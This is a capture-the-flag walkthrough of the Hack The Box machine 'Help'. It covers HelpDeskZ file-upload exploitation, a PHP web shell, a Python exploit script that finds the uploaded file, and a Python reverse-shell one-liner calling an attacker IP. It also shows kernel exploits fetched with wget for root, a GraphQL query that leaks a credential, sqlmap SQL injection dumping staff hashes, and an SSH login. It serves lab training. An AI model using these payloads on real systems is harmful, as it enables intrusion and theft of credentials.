Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.121 --rate=1000
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-01-23 08:22:00 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.121
Discovered open port 80/tcp on 10.10.10.121
Discovered open port 3000/tcp on 10.10.10.121
masscan
finds three open ports. Let’s do one better with nmap
scanning the discovered ports.
# nmap -n -v -Pn -p22,80,3000 -A --reason 10.10.10.121 -oN nmap.txt
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open http syn-ack ttl 63 Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
We have two http
services in the form of Apache and Node.js.
The default Apache page suggests more enumeration needs to be done.
Directory/File Enumeration
Let’s fuzz it with gobuster
and DirBuster’s wordlist just to see what we’ll get.
# gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 50 -e -u http://10.10.10.121/
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.121/
[+] Threads : 50
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded : true
[+] Timeout : 10s
=====================================================
2019/01/23 08:34:06 Starting gobuster
=====================================================
http://10.10.10.121/support (Status: 301)
http://10.10.10.121/javascript (Status: 301)
=====================================================
2019/01/23 08:39:48 Finished
=====================================================
I think I’ve seen enough. Let’s pay /support
a visit.
Well, well, well. What do we have here? This must be our first attack surface.
HelpDeskZ 1.0.2 – Unauthenticated Arbitrary File Upload
Searching Google for an exploit in HelpDeskZ led me to EDB-ID 40300. Anyway, it looks like the site is running the vulnerable version.
According to the exploit, HelpDeskZ suffers from an unauthenticated arbitrary file upload vulnerability where the software allows file attachment with ticket submission. The minor problem lies with determining the filename of the uploaded file. However, because the eventual file name depends on the time the file was uploaded, we can make an educated guess of the timestamp by shaving a couple of seconds from the current time.
Let’s submit a fake ticket and attach test.php
, which is nothing more than the following PHP code.
<pre>
<?php echo shell_exec($_GET[0]); ?>
</pre>
Hmm. It says “File is not allowed”. Is that so? Let’s take a look at the source code controlling this behavior.
if(!isset($error_msg) && $settings['ticket_attachment']==1){
$uploaddir = UPLOAD_DIR.'tickets/';
if($_FILES['attachment']['error'] == 0){
$ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
$fileuploaded[] = array('name' => $_FILES['attachment']['name'], 'enc' => $filename, 'size' => formatBytes($_FILES['attachment']['size']), 'filetype' => $_FILES['attachment']['type']);
$uploadedfile = $uploaddir.$filename;
if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
$show_step2 = true;
$error_msg = $LANG['ERROR_UPLOADING_A_FILE'];
}else{
$fileverification = verifyAttachment($_FILES['attachment']);
switch($fileverification['msg_code']){
case '1':
$show_step2 = true;
$error_msg = $LANG['INVALID_FILE_EXTENSION'];
break;
case '2':
$show_step2 = true;
$error_msg = $LANG['FILE_NOT_ALLOWED'];
break;
case '3':
$show_step2 = true;
$error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']);
break;
}
}
}
}
Two things worth nothing here. First of all, the final upload directory ends with tickets/
. Second, regardless of the file verification results, the submission will ALWAYS progress to step 2 after the file has been uploaded.
In the words : Fake News!
…
Where is the upload directory? If I have to guess, I would say the actual upload directory is like this:
http://10.10.10.121/support/uploads/tickets/
I cheated a bit. I actually enumerated the site for directories at a deeper level.
Now, let’s re-purpose the exploit code and make it more adaptive to file extensions.
#
#Usage: python exploit.py http://10.10.10.121/support/uploads/tickets/ test.php
#
import hashlib
import time
import sys
import requests
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
if len(sys.argv) < 3:
print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
extension = fileName.split(".")[-1]
currentTime = int(time.time())
for x in range(0, 300):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()
url = helpdeskzBaseUrl + md5hash + '.' + extension
response = requests.head(url)
if response.status_code == 200:
print "found!"
print url
sys.exit(0)
print "Sorry, I did not find anything"
Armed with the insight gleaned from the source code, let’s upload again and find out where it’s uploaded to.
c:\PENTEST>python helpdeskz.py http://10.10.10.121/support/uploads/tickets/ test.php Helpdeskz v1.0.2 - Unauthenticated shell upload exploit found! http://10.10.10.121/support/uploads/tickets/c06a88701ab923e1eb97f477b1d2e595.php
10.10.10.121/support/uploads/tickets/b2c1c3114fd256b7cdf830854783b81b.php?0=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.5%22,9001));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
browse to
http://10.10.10.121/support/uploads/tickets/b2c1c3114fd256b7cdf830854783b81b.php?0=id
Awesome.
Let’s urlencode the following reverse shell in Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
┌─[puck@parrot-lt]─[~/htb/help] └──╼ $nc -nlvp 9001 listening on [any] 9001 ... connect to [10.10.14.5] from (UNKNOWN) [10.10.10.121] 55704 /bin/sh: 0: can't access tty; job control turned off $ cd /home $ ls help
Privilege Escalation
On enumerating the box the kernel version is found to be 4.4.0-116-generic. A google search results in a kernel exploit for the version. https://www.exploit-db.com/exploits/44298
Start a simple http server and transfer it to the box then execute it.
help@help:/tmp$ wget http://10.10.14.13/44298.c --2019-08-29 04:40:29-- http://10.10.14.13/44298.c Connecting to 10.10.14.13:80... connected. HTTP request sent, awaiting response... 200 OK Length: 5777 (5.6K) [text/plain] Saving to: ‘44298.c’ 44298.c 100%[====================>] 5.64K --.-KB/s in 0s 2019-08-29 04:40:29 (162 MB/s) - ‘44298.c’ saved [5777/5777] help@help:/tmp$ gcc 44298.c -o exploit help@help:/tmp$ chmod +x exploit help@help:/tmp$ whoami help help@help:/tmp$ ./exploit task_struct = ffff880038a29c00 uidptr = ffff88003bcb2c04 spawning root shell root@help:/tmp# cd / root@help:/# cd root root@help:/root# ls root.txt root@help:/root# cat root.txt b7f*****b98 root@help:/root#
or https://www.exploit-db.com/exploits/45010
$ wget http://10.10.14.5/45010.c --2022-03-11 03:17:15-- http://10.10.14.5/45010.c Connecting to 10.10.14.5:80... connected. HTTP request sent, awaiting response... 200 OK Length: 13728 (13K) [text/x-csrc] Saving to: '45010.c' 0K .......... ... 100% 152K=0.09s 2022-03-11 03:17:15 (152 KB/s) - '45010.c' saved [13728/13728] $ gcc 45010.c -o puckiestyle $ ./puckiestyle id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare),1000(help)
python -c 'import pty; pty.spawn("bash")'
Afterthought
I was intrigued by the message that there’s a way to retrieve credentials by providing the right query. Turns out the Node.js service was running GraphQL, an open-source data query and manipulation language for APIs. I’m not familiar with GraphQL so this is an excellent opportunity to learn something about it.
root@kali:~/htb# apt-get install jq root@kali:~/htb# curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}" | jq { "errors": [ { "message": "Field \"user\" of type \"User\" must have a selection of subfields. Did you mean \"user { ... }\"?", "locations": [ { "line": 1, "column": 2 } ] } ] } root@kali:~/htb# curl -s -G http://10.10.10.121:3000/graphql --data-urlencode 'query={user {username} }' | jq { "data": { "user": { "username": "helpme@helpme.com" } } } root@kali:~/htb# curl -s -G http://10.10.10.121:3000/graphql --data-urlencode 'query={user {username, password} }' | jq { "data": { "user": { "username": "helpme@helpme.com", "password": "5d3c93182bb20f07b994a7f617e99cff" } } }
or with Burp
I cracked the MD5 password with https://hashkiller.co.uk/Cracker/MD5
5d3c93182bb20f07b994a7f617e99cff MD5 godhelpmeplz
note:for the file upload exploit to work i had to change the timezone
credits to : https://hackso.me/help-htb-walkthrough/
the sqlinjection part
The SQLi is in the last param. I can show by adding and 1=1-- -
to the end of the url. Same download pop up. But if I add and 1=2-- -
to the end of the url, I get:error -> thus blind isql injection
sqlmap -r ticket_attachment.request --level 5 --risk 3 -p param[]
I’ve got the injection. Now I’ll run with --dump
. One table that looks interesting is:
Database: support
Table: staff
[1 entry]
+----+-------+------------+--------------------+--------+--------+----------+---------------+----------+-----------------------------------------------------+--------------------------------+------------+--------------------+------------------------+
| id | admin | login | email | status | avatar | username | fullname | timezone | password | signature | last_login | department | newticket_notification |
+----+-------+------------+--------------------+--------+--------+----------+---------------+----------+-----------------------------------------------------+--------------------------------+------------+--------------------+------------------------+
| 1 | 1 | 1547216217 | support@mysite.com | Enable | NULL | admin | Administrator | <blank> | d318f44739dced66793b1a603028133a76ae680e (Welcome1) | Best regards,\r\nAdministrator | 1543429746 | a:1:{i:0;s:1:"1";} | 0 |
+----+-------+------------+--------------------+--------+--------+----------+---------------+----------+-----------------------------------------------------+--------------------------------+------------+--------------------+------------------------+
Specifically the password hash which sqlmap
was able to break as “Welcome1”.
SSH
Knowing SSH was open, I tried to connect using a handful of names – “helpme”, “admin”, “root”, “help”. help worked:
┌─[✗]─[puck@parrot-lt]─[~/htb/help] └──╼ $ssh help@10.10.10.121 help@10.10.10.121's password: Welcome1 Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-116-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage You have new mail. Last login: Fri Jan 11 06:18:50 2019 help@help:~$
Author: Jacco Straathof